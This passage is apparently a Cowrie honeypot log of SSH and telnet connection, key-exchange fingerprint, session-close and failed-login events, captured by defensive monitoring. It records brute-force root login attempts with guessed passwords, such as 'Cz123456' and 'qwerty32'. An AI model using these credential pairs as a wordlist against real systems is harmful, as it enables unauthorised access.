gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:33:18.787948Z","src_ip":"88.147.30.59","session":"b3017b53bb7e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Cz123456","message":"login attempt [root/Cz123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:33:19.263709Z","src_ip":"88.147.30.59","session":"b3017b53bb7e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:33:20.380758Z","src_ip":"88.147.30.59","session":"b3017b53bb7e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.69366240501404,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:33:30.673118Z","src_ip":"69.4.83.194","session":"f200b71bc18b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":76.75884652137756,"message":"Connection lost after 76 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:33:44.969705Z","src_ip":"178.128.93.180","session":"f5ea0c1d0bcc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"58.209.82.184","src_port":59154,"dst_ip":"10.17.0.5","dst_port":22,"session":"22d236dbd3ef","protocol":"ssh","message":"New connection: 58.209.82.184:59154 (10.17.0.5:22) [session: 22d236dbd3ef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:33:50.764190Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:33:50.768559Z","src_ip":"58.209.82.184","session":"22d236dbd3ef","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:33:51.015139Z","src_ip":"58.209.82.184","session":"22d236dbd3ef","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"saqib","message":"login attempt [root/saqib] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:33:52.045225Z","src_ip":"58.209.82.184","session":"22d236dbd3ef","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.133.62.83","src_port":41156,"dst_ip":"159.203.135.109","dst_port":22,"session":"7b1791054489","protocol":"ssh","message":"New connection: 62.133.62.83:41156 (159.203.135.109:22) [session: 7b1791054489]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:33:59.879240Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:33:59.883989Z","src_ip":"62.133.62.83","session":"7b1791054489","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:33:59.962040Z","src_ip":"62.133.62.83","session":"7b1791054489","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"221288","message":"login attempt [root/221288] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:34:00.201429Z","src_ip":"62.133.62.83","session":"7b1791054489","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:34:01.285337Z","src_ip":"62.133.62.83","session":"7b1791054489","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"178.128.93.180","src_port":59714,"dst_ip":"10.17.0.5","dst_port":23,"session":"91a888f081d9","protocol":"telnet","message":"New connection: 178.128.93.180:59714 (10.17.0.5:23) [session: 91a888f081d9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:34:12.058394Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.4.83.194","src_port":40810,"dst_ip":"159.203.135.109","dst_port":23,"session":"ec090a00d85d","protocol":"telnet","message":"New connection: 69.4.83.194:40810 (159.203.135.109:23) [session: ec090a00d85d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:34:13.989005Z"}
{"eventid":"cowrie.session.connect","src_ip":"79.139.59.21","src_port":46888,"dst_ip":"159.203.135.109","dst_port":23,"session":"77736b2a8199","protocol":"telnet","message":"New connection: 79.139.59.21:46888 (159.203.135.109:23) [session: 77736b2a8199]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:34:19.293645Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.4.83.194","src_port":45602,"dst_ip":"159.203.135.109","dst_port":23,"session":"dc6ccbaad86b","protocol":"telnet","message":"New connection: 69.4.83.194:45602 (159.203.135.109:23) [session: dc6ccbaad86b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:34:27.721417Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.45.211.215","src_port":45570,"dst_ip":"10.17.0.5","dst_port":22,"session":"c1adb32794a4","protocol":"ssh","message":"New connection: 147.45.211.215:45570 (10.17.0.5:22) [session: c1adb32794a4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:34:41.232808Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:34:41.237079Z","src_ip":"147.45.211.215","session":"c1adb32794a4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:34:41.409645Z","src_ip":"147.45.211.215","session":"c1adb32794a4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwerty32","message":"login attempt [root/qwerty32] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:34:41.929996Z","src_ip":"147.45.211.215","session":"c1adb32794a4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.4.83.194","src_port":51492,"dst_ip":"159.203.135.109","dst_port":23,"session":"af92b5d98457","protocol":"telnet","message":"New connection: 69.4.83.194:51492 (159.203.135.109:23) [session: af92b5d98457]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:34:42.509698Z"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:34:43.106256Z","src_ip":"147.45.211.215","session":"c1adb32794a4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.47.156.21","src_port":57402,"dst_ip":"10.17.0.5","dst_port":22,"session":"77bc21efa490","protocol":"ssh","message":"New connection: 101.47.156.21:57402 (10.17.0.5:22) [session: 77bc21efa490]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:34:44.654622Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:34:44.659123Z","src_ip":"101.47.156.21","session":"77bc21efa490","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:34:44.905668Z","src_ip":"101.47.156.21","session":"77bc21efa490","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"456654","message":"login attempt [root/456654] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:34:45.925263Z","src_ip":"101.47.156.21","session":"77bc21efa490","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.83850574493408,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:34:46.827435Z","src_ip":"69.4.83.194","session":"ec090a00d85d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:34:47.174752Z","src_ip":"101.47.156.21","session":"77bc21efa490","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"34.62.101.89","src_port":29778,"dst_ip":"10.17.0.5","dst_port":23,"session":"448a155c04ac","protocol":"telnet","message":"New connection: 34.62.101.89:29778 (10.17.0.5:23) [session: 448a155c04ac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:34:56.758934Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.62.101.89","src_port":29788,"dst_ip":"10.17.0.5","dst_port":23,"session":"c85c8d2611a4","protocol":"telnet","message":"New connection: 34.62.101.89:29788 (10.17.0.5:23) [session: c85c8d2611a4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:34:56.915404Z"}
{"eventid":"cowrie.session.closed","duration":0.0051670074462890625,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:34:56.920435Z","src_ip":"34.62.101.89","session":"c85c8d2611a4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"34.62.101.89","src_port":29798,"dst_ip":"10.17.0.5","dst_port":23,"session":"a5b8b1958ed9","protocol":"telnet","message":"New connection: 34.62.101.89:29798 (10.17.0.5:23) [session: a5b8b1958ed9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:34:57.070617Z"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:35:01.740937Z","src_ip":"58.209.82.184","session":"0ec324967fa7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":37.11761498451233,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:35:04.838922Z","src_ip":"69.4.83.194","session":"dc6ccbaad86b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":9.203795194625854,"message":"Connection lost after 9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:35:05.962590Z","src_ip":"34.62.101.89","session":"448a155c04ac","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":63.33574986457825,"message":"Connection lost after 63 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:35:15.394027Z","src_ip":"178.128.93.180","session":"91a888f081d9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"34.62.101.89","src_port":10802,"dst_ip":"10.17.0.5","dst_port":23,"session":"e5776ef9de68","protocol":"telnet","message":"New connection: 34.62.101.89:10802 (10.17.0.5:23) [session: e5776ef9de68]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:35:16.226711Z"}
{"eventid":"cowrie.login.failed","username":"GET / HTTP/1.1","password":"Host: 134.199.244.163:23","message":"login attempt [GET / HTTP/1.1/Host: 134.199.244.163:23] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:35:16.233779Z","src_ip":"34.62.101.89","session":"e5776ef9de68","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36","password":"Accept-Encoding: gzip","message":"login attempt [User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36/Accept-Encoding: gzip] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:35:16.239395Z","src_ip":"34.62.101.89","session":"e5776ef9de68","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":0.09458756446838379,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:35:16.321163Z","src_ip":"34.62.101.89","session":"e5776ef9de68","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"34.62.101.89","src_port":10804,"dst_ip":"10.17.0.5","dst_port":23,"session":"7b0b4ea07048","protocol":"telnet","message":"New connection: 34.62.101.89:10804 (10.17.0.5:23) [session: 7b0b4ea07048]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:35:16.396058Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.62.101.89","src_port":10806,"dst_ip":"10.17.0.5","dst_port":23,"session":"6d52551bdfca","protocol":"telnet","message":"New connection: 34.62.101.89:10806 (10.17.0.5:23) [session: 6d52551bdfca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:35:16.559621Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.62.101.89","src_port":10820,"dst_ip":"10.17.0.5","dst_port":23,"session":"efb5f705284e","protocol":"telnet","message":"New connection: 34.62.101.89:10820 (10.17.0.5:23) [session: efb5f705284e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:35:16.733721Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.62.101.89","src_port":10836,"dst_ip":"10.17.0.5","dst_port":23,"session":"7265f83d9e66","protocol":"telnet","message":"New connection: 34.62.101.89:10836 (10.17.0.5:23) [session: 7265f83d9e66]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:35:16.890613Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.62.101.89","src_port":10848,"dst_ip":"10.17.0.5","dst_port":23,"session":"9aa7f1837f94","protocol":"telnet","message":"New connection: 34.62.101.89:10848 (10.17.0.5:23) [session: 9aa7f1837f94]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:35:17.048861Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.62.101.89","src_port":10858,"dst_ip":"10.17.0.5","dst_port":23,"session":"a7b927e1292e","protocol":"telnet","message":"New connection: 34.62.101.89:10858 (10.17.0.5:23) [session: a7b927e1292e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:35:17.211868Z"}
{"eventid":"cowrie.session.closed","duration":34.840970277786255,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:35:17.350582Z","src_ip":"69.4.83.194","session":"af92b5d98457","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"34.62.101.89","src_port":10874,"dst_ip":"10.17.0.5","dst_port":23,"session":"5e64fc4b92ac","protocol":"telnet","message":"New connection: 34.62.101.89:10874 (10.17.0.5:23) [session: 5e64fc4b92ac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:35:17.367292Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.62.101.89","src_port":10890,"dst_ip":"10.17.0.5","dst_port":23,"session":"9b05584d8fad","protocol":"telnet","message":"New connection: 34.62.101.89:10890 (10.17.0.5:23) [session: 9b05584d8fad]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:35:17.523017Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.62.101.89","src_port":10904,"dst_ip":"10.17.0.5","dst_port":23,"session":"e7345ab38590","protocol":"telnet","message":"New connection: 34.62.101.89:10904 (10.17.0.5:23) [session: e7345ab38590]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:35:17.682847Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.62.101.89","src_port":10914,"dst_ip":"10.17.0.5","dst_port":23,"session":"1f1a5a0a0831","protocol":"telnet","message":"New connection: 34.62.101.89:10914 (10.17.0.5:23) [session: 1f1a5a0a0831]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:35:17.914376Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.62.101.89","src_port":10924,"dst_ip":"10.17.0.5","dst_port":23,"session":"bee7b8516320","protocol":"telnet","message":"New connection: 34.62.101.89:10924 (10.17.0.5:23) [session: bee7b8516320]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:35:18.070647Z"}
{"eventid":"cowrie.session.closed","duration":0.010764122009277344,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:35:18.081265Z","src_ip":"34.62.101.89","session":"bee7b8516320","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"34.62.101.89","src_port":10938,"dst_ip":"10.17.0.5","dst_port":23,"session":"dc54586d9ca6","protocol":"telnet","message":"New connection: 34.62.101.89:10938 (10.17.0.5:23) [session: dc54586d9ca6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:35:18.231384Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.62.101.89","src_port":10946,"dst_ip":"10.17.0.5","dst_port":23,"session":"4d6a6720c6ed","protocol":"telnet","message":"New connection: 34.62.101.89:10946 (10.17.0.5:23) [session: 4d6a6720c6ed]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:35:18.387309Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.62.101.89","src_port":10952,"dst_ip":"10.17.0.5","dst_port":23,"session":"536ea359ee4d","protocol":"telnet","message":"New connection: 34.62.101.89:10952 (10.17.0.5:23) [session: 536ea359ee4d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:35:18.543686Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.62.101.89","src_port":10964,"dst_ip":"10.17.0.5","dst_port":23,"session":"16e90dcde4b5","protocol":"telnet","message":"New connection: 34.62.101.89:10964 (10.17.0.5:23) [session: 16e90dcde4b5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:35:18.700568Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.62.101.89","src_port":10980,"dst_ip":"10.17.0.5","dst_port":23,"session":"79a6b70e7cb0","protocol":"telnet","message":"New connection: 34.62.101.89:10980 (10.17.0.5:23) [session: 79a6b70e7cb0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:35:18.858811Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.62.101.89","src_port":10988,"dst_ip":"10.17.0.5","dst_port":23,"session":"ca2c3f7612ee","protocol":"telnet","message":"New connection: 34.62.101.89:10988 (10.17.0.5:23) [session: ca2c3f7612ee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:35:19.014026Z"}
